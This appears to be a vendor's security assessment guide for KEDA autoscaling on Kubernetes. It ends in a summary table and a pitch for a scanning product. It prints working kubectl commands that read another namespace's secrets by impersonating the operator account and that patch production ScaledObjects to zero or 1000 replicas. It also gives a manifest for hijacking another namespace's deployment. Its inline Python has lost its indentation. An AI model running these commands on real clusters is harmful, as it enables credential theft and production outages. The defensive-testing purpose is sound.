KEDA (Kubernetes Event-Driven Autoscaling) scales Kubernetes workloads based on external event sources — Kafka topics, Redis queues, Azure Service Bus, AWS SQS, and dozens more. Security concerns unique to KEDA include: the KEDA operator holding a ClusterRole that reads Secrets across all namespaces (needed for TriggerAuthentication), TriggerAuthentication objects referencing Secrets that any user who can read TriggerAuthentications can enumerate, ScaledObject manipulation by namespace-level attackers to cause resource exhaustion or scale-to-zero production services, external scaler endpoints accepting attacker-controlled URLs enabling SSRF, and ClusterTriggerAuthentication allowing cross-namespace credential sharing that breaks tenant isolation. This guide covers systematic KEDA security assessment.
# KEDA operator needs to read Secrets for TriggerAuthentication
# Default install grants the operator Secrets read access cluster-wide
# Check KEDA operator ClusterRole permissions
kubectl get clusterrole keda-operator -o json 2>/dev/null | python3 -c "
import json,sys
r = json.load(sys.stdin)
for rule in r.get('rules',[]):
resources = rule.get('resources',[])
verbs = rule.get('verbs',[])
if 'secrets' in resources:
print(f'Secrets verbs: {verbs}')
print(f' ResourceNames: {rule.get(\"resourceNames\",\"*\")}\')
"
# If output shows 'get','list','watch' with no resourceNames = reads ALL secrets in cluster
# From a pod with KEDA service account token, read another namespace's secret
# (via KEDA operator RBAC if you can use its SA token)
kubectl --as=system:serviceaccount:keda:keda-operator \
get secret database-credentials -n production 2>/dev/null
# If succeeds = KEDA operator's SA token enables cross-namespace secret theft
# List all TriggerAuthentications in the cluster to enumerate secret references
kubectl get triggerauthentication -A 2>/dev/null | head -20
kubectl get clustertriggerauthentication 2>/dev/null | head -10
# If a user can create/update ScaledObjects in a namespace,
# they can scale production deployments to 0 or max replicas
# Scale-to-zero attack: modify ScaledObject minReplicaCount to 0
# This terminates all pods in the target deployment
kubectl patch scaledobject payment-service-scaler -n production \
--type='merge' \
-p '{"spec":{"minReplicaCount":0,"maxReplicaCount":0}}' 2>/dev/null
# Result: payment-service deployment scales to 0 = production outage
# Max-scale attack: set maxReplicaCount to exhaust cluster resources
kubectl patch scaledobject worker-scaler -n production \
--type='merge' \
-p '{"spec":{"maxReplicaCount":1000}}' 2>/dev/null
# Create a ScaledObject targeting another namespace's deployment
cat << 'EOF' | kubectl apply -f - 2>/dev/null
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
name: attack-scaledobject
namespace: attacker-namespace
spec:
scaleTargetRef:
apiVersion: apps/v1
kind: Deployment
name: critical-service
minReplicaCount: 0
maxReplicaCount: 0
triggers: []
EOF
resourceNames in TriggerAuthentication RBAC to restrict operator to specific named Secrets, not all| Security Test | Method | Risk |
|---|---|---|
| KEDA operator reads secrets cluster-wide | kubectl get clusterrole keda-operator — check secrets verbs | High |
| ScaledObject scale-to-zero DoS | Patch ScaledObject minReplicaCount=0 on production deployment | High |
| TriggerAuthentication secret enumeration | kubectl get triggerauthentication -A — reveals secret names | High |
| External scaler SSRF | Create ScaledObject with external scaler pointing to metadata service | High |
| ClusterTriggerAuthentication cross-namespace | Reference ClusterTriggerAuthentication from unprivileged namespace | Medium |
| Resource exhaustion via maxReplicaCount | Set maxReplicaCount=1000 — exhausts node resources | Medium |
Ironimo tests KEDA deployments for operator ClusterRole allowing cluster-wide Secret reads, ScaledObject manipulation enabling production scale-to-zero DoS, TriggerAuthentication credential enumeration, external scaler SSRF via attacker-controlled endpoints, ClusterTriggerAuthentication tenant isolation bypass, and resource exhaustion via unbounded maxReplicaCount settings.
Start free scan